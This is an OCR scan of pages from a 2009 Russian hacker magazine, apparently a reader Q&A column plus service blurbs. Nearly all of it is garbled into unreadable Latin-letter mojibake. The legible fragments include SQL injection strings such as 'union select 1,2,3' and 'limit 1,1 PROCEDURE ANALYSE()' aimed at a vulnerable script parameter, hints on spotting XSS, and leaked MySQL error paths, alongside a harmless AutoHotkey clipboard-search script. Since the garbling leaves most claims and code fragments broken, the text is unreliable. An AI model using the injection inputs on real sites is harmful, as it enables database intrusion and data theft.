3anV1caB npoV13BoflbHble,o,8HHble B epaf1n [He3a6bl
B~AHa
Bai1, '1TO ~O%eT no~ewaTb epV1JlbTpal-\V111 K3SbllleK,
B03MO>KHOCTb MH>KeKTMpOBaHMR sql-onepa-
11.1 JlOrW-jeCKoe Bblpa>KeHV1e«l and 1=1» BepHO-7
TOpOB, HO B"Tore, H.....ero He npo~cxOAMT.xOTSl6ar
~ He06xo.l1V1Mbl npaBa ,LlJT>13am1CJ1 + nOJ1Hblf1 nyrb K
npOV1CXO.Av1T 33 rpY3 Ka ,cJ.V1 HaM VlyeCKOro C0.AeP>KV1
eCTb1000/0!
j:\l-1peKTopV1V1L
Moro C3f1T3. EcnV1 coana,cJ.eHl-111 He npOV1CXOj:\V1T, TO,
A: BV1,cJ.l-1Mo,
KaK npaSV1flO, 3arpY>K3eTCI1 TonbKO Wa6J10H cai1Ta.
Ha nOKa3 OWV160K, J1l-160 BKJllOyeHbl MarlllyeCKV1e
XAKEP 05 1125/ 09
PHP Ha TBoeM cepBepe He HaCTpoeH
npV1Mep 3KcnnOVlTa, WnOJTb3YlOLl\erO load_file
h1tQ.l!m,lwOrm.cQm/explolts/5639. ASCII ra61lV1l-lY
~
141
.. "..
~
o
.
. ..""" IJflhS
C2)
..
o
b 3,D,eCb: http://ao3S(,-.iLQm).
MO)l(HO nOCMOT
o nplIIMep 94"rlo1:<img src=~%=Request. Queryitring(<<Param»)
Q: KaK nOCMOTpeTb Bcex KnlteHTOB. KOTopbleB
\>'>.
AaHHblM MOMeNT Kcn0l1b3YIOTWiFi-ceTI4?
Q~M He nOHRl1, KaKCnOMOlLlblO PROCEDURE
A: Cnoc0608 HeCKOTlbKO:
1. EC11101 eCTbA0CTyn K2,n,MIo1HKeTO"l.'<V1 .qO:::1)'na, TO
NALYSE(I nonY'IKTIt Ha3saHMR Ta6nMl.I, K KonOHoK.
npaKTVlyeCKI-1 Ha nlO6o~ npOlli!'1BKe AeeaiAca eCTb
MO>KeWb nOKa3aTb Ha npaKTMKe?
A:
nonaralO, y>Ke MHorl-1e HaCl1b1WaHbl 0
lO.Qe, HO H3 npaKnlKe Mano "'TO YAaeTO'l
BKJJaAKa co BceMIo1 TeKYW.V1 M f1 nOAKflI04eHI>151M V1.
HOBOM Me
nOny"'H1Tb
rAe oT05pa::t;ae,cR MAC.
2. Ha AP npaKT>14eCKIIl Bcer)l.a l>1CnOJlb3yercSl
c nOM0l..4bKl3TOVi npOl..\eAypbl, TaX KaK Cl1lilWKOM MHorOe 3a6>1CI·1T OlTOro, K3K Bbl80,QII1T AaHHbie
1113 6a3bIY5l3BII1MbIVl cLJ,eHaplillil.
cJ1y"aes
Mbl 111-160
B 60flbwVlHcTBe
Boo6l..4e HeySl-l,D,Io1M BbIGO,Q3,
~TO
CltCTe",a p.1Cn03Hana MeHH K.1K HeKOToporo
DHCP-cepeep, KOTOpbil1 Bo,lAaeT KIll<leHTClM IP-aA
nonb30BaTl~m~.nepeMAR B Gmail. yBMAen, 'ITO A
pee a 1-13 onpe,aeneHHoro.o.l-1arla30Ha_):\ocraTOYHO
aBTopM3Kp00.1H KTaM. KaK3TO Momo npOM30MTK?
npoo::aHl<lpOS8Tbfl105blM CKaHepOM [AngrylP
fllo16oYSltlAlI1M BceB03MWKHble OW\.16Kltl. O,llH3>KAbl
Hey>KenK TaKaH HeAopa60TK.1 CO CTOpOHbl KOM.1H
Scanner, W,NW81lgryzl:lerCOm - KnpV1Mepyl :HOT
MySQL BblnnKJHyn
Abl Opera? B Ka~eCTBeYCTpOMCTBa Kcnonb30Ba
.o.>1ana30H. "lT06b1 Onpe)l.enlllTb «)t::;\I1Bble XOCTbP>.
naCb BepcKR AIIH Windows Mobile.
3, 3aMe4aTeJ1bHafl nporpaMMJ kismet [W'I#I
MHe u,eJ1bIVi
P\1,D; OWII160K. BTeKC
Te KQTOPblX 6blnll1 YK333Hbi cTOnnu,bl:
A: 3TO AOCTaTO'-lHO 111313eCTHbl\16ar. nplo1'-leM
klsmetwlrele!is net) cCAep)t(VJTTaKylO epYHKlJ,l>1Kl flO
Warning: mysql_result() (function.
soace He pa3pa60T'-lIo1KOB Opera. BcnOMHto'l, K3K
yMOJl4aHI'lIO.
mysql-rcsultl: NAME not found in
HySQL result index 19 in /varjvIWW/
Tbl ycTaHaall14B3fl Opera Mini? CKopee acero,
virtual/host.com/htdocs/news/news.
php on line 19
rOTOBOf1 C60PKlo11013 .cab. 3TO Bce 06MlcH51eT.
BblAeneHKH CI10Ba B 111060M npMIlO>KeHMH MO>KHO
Io1HCTaJl.l1l>1poBaTb .j<lr-q,a~.I1bl Ha WM He oyeHb
6blnOHa>KaTbHa ropR'IyIOKJlaSltwy- K no cnOBO
~"'arning: mysql_result() [function.
mysQl-result]; LOGIN not found in
y,LJ.06HO, KTOMy)t(e nOllb30B<lTeJl14 CTaflKIo1S3IQT
OTflpaBmmOCb B nOKCKOBKK ItnK oHnaMH-nepe
C>1 CTeM, "lTOYCT3HOB.I1eHHblili3Mymnop Java
BOA'IKK.AnA npMMepa. BGoogle. KaK310 npOlLle
1-1ySQL result index 19 in /var/WW1tT/
4aCTO OKa3b1B3eTC>1 cTapolo1 aepclo1lo1. 4T06o,l
Bcero pea11M30BaTb
virlual/host.com/htdocs/news/news.
06JlerYlo1Tb )t(1II3Hb nOJlb30BaTefl~M, 3HTy3111aCTbi
cneu,ManbHOe npKIIO>KeHHe1?
c03,aa1OT cTaH,oapTHble AJl~ TaKIttX U1CTeM yCT<l
A: 8 TaKO~ CIo1Tyau,l1V1 caM 50reenef1 oocnC/lb30
php on 1 ine ?1
He >13 0plo1n1H3JlbHorO jar-q,aili.na, a c nOMOll.\blO
H080"lHble .cab-¢aViJlbl, e KOTOpo,lX 8KfllO"lalOT Tenepb Ha npl-1Mepe. ECTb VlHbeKI~l<Hl C BbI80.QOM
f1peAYCT3HOBlIeHHbllo1 3MYJl51TOp Java.
8
VlTore,
nepBoro CToJl6u,a - http://hostlscript .
yCTaHoBKa npOXOAIo1T B HeCKOJlo,KO K1H1KOS,
php?vul=l union select 1,2,3. CMOT
Mbl nOlly"l3eM Java-nplo1nO.:>KeH14e Itt nJl3Tq,opMY
p~Mhttp;//host/script.php?vul=l
,oJl>l3anycK3 Ha C80eM WM-,oeaaiAce.
PROCEDURE ANALYSE ( )
-;>
jonas_
1<1
B "leM
Q: Xo~y CAen.1Tb eneAYlOlLlYIO BelLlb: 'IT06bl npK
Iy>t<: 60llbHO He xo~eTCH nKcaTb
BClTbO, 32Me'-laTe11bH0I1 T)'moi1 AutoHotkey !'A'vvw. 3utohotkey,com/downloacl) .0/111 HacTpoi1t<11 ropl1 4lo1X KfIaBIo1W
B
Cf1CTeMe. nocne YCTaH08KI<1 HpKHO
C03,D,aTb I~OBbllo1 ¢Jaiin "',ahk,
nepSOM 3anyCKe Opera Mini reHeplo1pyeTc51
~InstallKeybdHook
3Aecb jonas_chalk - l>1M51 TeKYllIeiA 5,0" article
C80L1I<l,aeHTl<lq)l.1Ka~lIloHHbli1 KO,o, no KOTOpOMy
#Persistent
- Ta61ll>1u,J, l>13 KOTopoi1l>1AeT Bbl60pKJ l>13Ha
B
4J.I1bHO. title - nepsbli1 cTo.l16eu,.
C)t(\.1ManK3 Tpaq,l>1KaJ Onepbl ~(Y3HaeT» TeJle¢OH
p,aflbHei.1weM npOKCl>1-Cepeep IYCKopl<lTcnb III
nonyYaeM STOpOi1 cToJl6eu c nOMOlllbfO limit
5ar 8 TOM, YTO TaKa';; creHepVlposaHHbl101 KO,lJ,
- hetp: / /host/script. php?vul=l
SMeCTe C 3MyJl>lTOpOM nonaJlItt B f1CnOJlb3ye
limit 1,1 PROCEDURE ANALYSE()->
MyfO AJlH YCTClHOBKf1 C60pKy_ A nOCKonbKY elO
limit. nOJly4acM
KOTOPOM 6Y,LJ.eT
)l(e no/wox? B TOM, "lTO ).\.1151 yCTpoi1cTea np!<1
chalk.article.title
j cnas_chalk. article.question. V13MeH5HI.
B
pacnOna raTbC>I TeKCT Hawero CUeHaplo1>1
BOCnOJlb30SaJ1CSl He TOf1bKO Tbl, HeT Hl,14ero
#Hotkeylnterval,lDO
SetKeyCelay, -1
"+c; ;
Send, "c
y.QI<lBIHeflbHoro, 4TO .QJl51 cepsepa Opera Mini
Sleep 50
sce CTOJl6Ubl,
Sbi SlBJl510eCb 0AHIilM 101 TeM >Ke nOJlb30eaTeneM
Run,
):\1l51 Tex, KTO He nOH51fl- Mbi MO)f(eM nOflY'--ll>1Tb
C O.QI<IHaKOBblMf1 KyKI-KJMIo1.
search?q=%clipboard%
3HJ4eHl-1e nepooro aprYMeHTa
Return
l-'a3SaHHe 101 CTOJl6Ubl TOJlbKOTOv> Ta6m1lJ,b1, OTKy Aa IttAeTBbl60pKJ Y13Ha4aJlbHO. 60nee nO,LJ.p06
http://~~~.google.com/
Q: fOBOpHT, M06K11bHble onepaTopbl3anycntm'l
HyfO \.1H¢OpMau,\I1fO MO)t(HO nOCMOTpel b B 6.11ore
M06KnbHbiM 'laT. "ITO 310 It KaK nonp060BaTb?
«nepBOOTKpblBaTemH> MeTOAa -
A: AeL1CTBI<ITeflbHO, e anpene «rf1aBHa~ TpO~Ka~>
Bce npocTO: 3ToTcu,eHapl.-li1l11cnonb3yeT nepeMeH
9eekr,yonewild _i nlo/2009/0 lit 0-1 h(! ·11 mj t -and
onepaTopoB 3anycTV1Jla, HaKOHeLl,-TO, yc.I1yry
HyKl %clipboard%, B KOTOpoii xpaHIo1TC>I CO)l.ep
beyon<1,html.
(~YaT». Ellie 6bl: y K8.:>K)l.Oro, KTO 3TI<II-1 4aTOM
)t::;aHltle 6y¢epa 06MeHa, l>1 nepG,oaeT ero B Google
Q: no KaKKM KJlIO'IeBbIM enOBaM
pragmatk
BTeKCTeASP~
MO.:>KeT n011 b30saTbCSl, Aa8HO YCT3HoeneH2
URL KaK napaMeTp ,LJ.il51 nO~ICKa.
M06\11llbHa51 aCbKa. nOyeMY 6bl He 14CnOflb30B8Tb
C03,1J,aH,,D,Ba>K,D,bl Kfl III KHI<I no J.ieJ..1Y - .., BTpee no
KaK TOJlbKO CKpltlnT
npMnO>KeHMM (TOI4T MCKaTb nOTeHLlKanbHble XSS
CT8HAapTHbie B03MO>KHOCTIo1 CI-'\CTeMbI. TeM 60
~BmC51 Hosa51Io1KOHKa [l<To6blI<l35aBIo1TbCI1 oTHee.
YA3BMMOCTM?
flee, 6eCnJlJTHo? Ao nepBoro \11101151 npOBO,Qlo1TCR
Heo6xo,D,l-\MO Ao6as1<lTb,D,lttpeKTIo1BY #NoTrayicon s
A: Ecnlll s PHP Mbl o6palllaeM BHIo1M3H\I1e Ha
6eTa-TecTV1pOBaHl,1e, n03TOMY nJl3Tbi HIilKTO C
caMoe Ha"l3J1a CKpl<lnra). BblAef1>1eM 8 nlO60M nplo1
nepeMeHHble, BblBOAIo1Mble CnOMOlllblO print/echo,
re651 He B03bMeT. HaCTpOIo1Kl>1 MO)f(HO HJiATi'1 Ha
.I1O)t(eHlo1e Hy.lKHOe CflOBO, >KMeM 3aoeTHyIC KOM6l,1~
TO sASPcneAyeT 06paTlo1Tb BHIIIM8Hllle Ha Y43cn:;101
O¢I<ILl,lo1aJlbHblX cai1Tax onepawpoB ,oJlSl CBoero
Hau,Y'l1O KflaBl,1W <Clrl+Shift+C> 1<1 Ha6fllO.o.aeM, KaK
KOA3 c KJlIO'-leBbIM14 CJlOBaMIo1 Response, «<%=»,
per>10Ha.
Request.
~
142
S HOBOM OKHe 6pay3epJ OTKpbIBaeTC51 CTpaHw1Ka Google'a C HY)+(HOIM HaM 3anpOCOM,::JC
XAKEP 05 11251 09
http:// """"....- .....r...
--.. ,
......... --...
..... ......
..
Gl •• •
'.' .....~ff.,~' .•" .>,,(1"
Gl •
.'~ll:
~ :-m
_-"...
....,_
'CO_.. _ _
_
,""*..""""."_ ....... •~, ".<> ..."""'"-._"'_\00".. _ ........ ,~
WUALA WWW.WUALA.COM PaCCKa3blS3fl 0 CepBLo1CaX AJl51 np03pa4HOili CiIlHXpOH\13au,IIH1 A3HHblX, Mbl
BCI'IKltILii pa3. Kor,o,a HY~HO C03Aalb3epKaJlO Ae¢lel.1c3, np\llXOAV1TCl'l,uenaTb
Oropbox. Tao>:: BOT, Wuala- npaKTW-leCKVl nOm-lbll/; era aH3J10r, HO n03aon~eT6ecnflaTHO nOJlY'-ll-1Tb H3MHoro 60Jlbwe. '-leM 2r6_,l],n\1
CKP\IIHWOT 1tI3afH.18aTb era Ha cne~ltIanbHble XOCH1HrYl.
BC>'1yeCn1 H3XB31JI-1S3nl-1
V1 Bce paSHo, Ha~p,yrCl'l
Te, KTO nonblTaeTCR T80~ 83JlOM OCnOpltlTl:>! llT05bl paCCTaSIolTb Bee T04Klt1 Ha,Q
XpaHeHI-1j1 ¢a~JlOB XI-1TpbrM cnoco60M npYlMeHIHOTCl'I C3MI-1 KOMnblOTepbl n01Jb
i. 3epK8na AMI Ae¢e~coB Hy>KHQ KnenaTb npaewlbHo. HanpltlM€p, c nOMoLllblO
30e3reneLil, ltl 4eM 60llbwe fbi roTos BbljJ,€ilillTb MeCTa AJlI'l¢laiilJ10B \13 raKolii
cepswa
p2p-ceTI'!. TeM 6011bWI'ILII 06beM AJ15l q,ai1.noB nonyyaeWb 8 Wuala. npLolyeM. :no
lhtml. CSS-p<l3MeTKa lt1 KapTl.1HKIolI. pa3MeLl.\aeTCe Ha C6Q1.1X cepsepax
npo,qYM3HO. Ha.ae)KHO V16e30naCHO!
MO)f(HOCTIo1 pe,l:\aKTl.1pOSaHI1l'l) 101 BblJJ,aeT KpaTKl11:1 flVlHKAJlSl npOCMOTp<J.
-
-- - .,
..:.
- -
..
I
[6e3 603
WobsilU • AvaAablo
<-check me
~
........
lire..,...... ....'..
Image
- -
-' - --'......-"- - - - - - - - - - - 1 , BIiI3YAJlbHbllil ,,,
npOEKTIiIPOBllIliIK IiIHTEPCllEiilcOB AnSI BE6-CTPAHIiI1I
-_&0 .- ...... . .1_.. -..
.
KPyrJlOCYTo4Hbliil MOHIiITO PIiIHr CEPBEPOB CYBEAOM JlEHIiI51MIiI no SMS
"'''11---. . .-....... ._loI>It
OHJlailil1·cpe,lJ,a paJpa6on;1-1 Alll'l JS-nporpaMMltICToS. White IDE 33AYMbl
SITE24X7 SITE24X7.COM
Sa!l3Cb Kat( cpe,o,CTeo, n03S0flSlIOutee BVl3ya11bHo «HaKl-1,o,aTb ltIHTepcjlel1C»
3TOT CepBI-1C oKoH4aTeflbHoy6ep,Vlfl MeHl'l610M. 4TO l-1cnonb30saTb OT€4eCT
CH343fl3 AJll'l CneQVl¢I-1"eCKoro <ppe~MsopKa, a nOTOM 1tI,D.11SlI13SeCTHblx Protolype.js.jQuery.
MooTools ltI ExUS. HeCMOTpl'l Ha TO, 'ITO 3TO scera IlI-1Wb
seHHble XOCTI-1Hr-KOMnaHHI-1 BeCbMa "peBaTO. COMHeHl-1l'l no nOBOAY 33SlSfleH Horo npOBOM amaLiiM3 >l pa3peWIo1fl C nOMOll(bIO ceps\I1ca Sile24x7, KOTOpbl11
6er3, y>Ke Cel1'1.:K anOl1He B03MO)l(HO C03A3S3Tb ltIHTi?p¢e~Cbl C nOM0Ll.\blO 8lt1~
6ecnflaTHO MOHIolTOp,,1T fllo6oiil ca~T 101 OrnpaBJ1Rel yseAOMTleHl1e 06 ynasweM
3yanbHoro npOeKTltIp081l.ll1Ka l-1 TyT >Ke npaSlilTb KOA Spy4HylO S JavaScript/CSS
ceps8Ke no SMS. napy pa3 npocHYBwlolcboTTaKVlx C006Il.\eHI1I:1.l'l HaAYM3fl_
peA3KTOpe.
KynVlTb,D.e,D.VlK B EBpone
~144
.
backupURL, KOTOPblLii MOMeHTallbHo,Q€flaer nOflHYIO KOnlt11O CTpaHltIll,61
:1. XAKEP 05/115/09
.'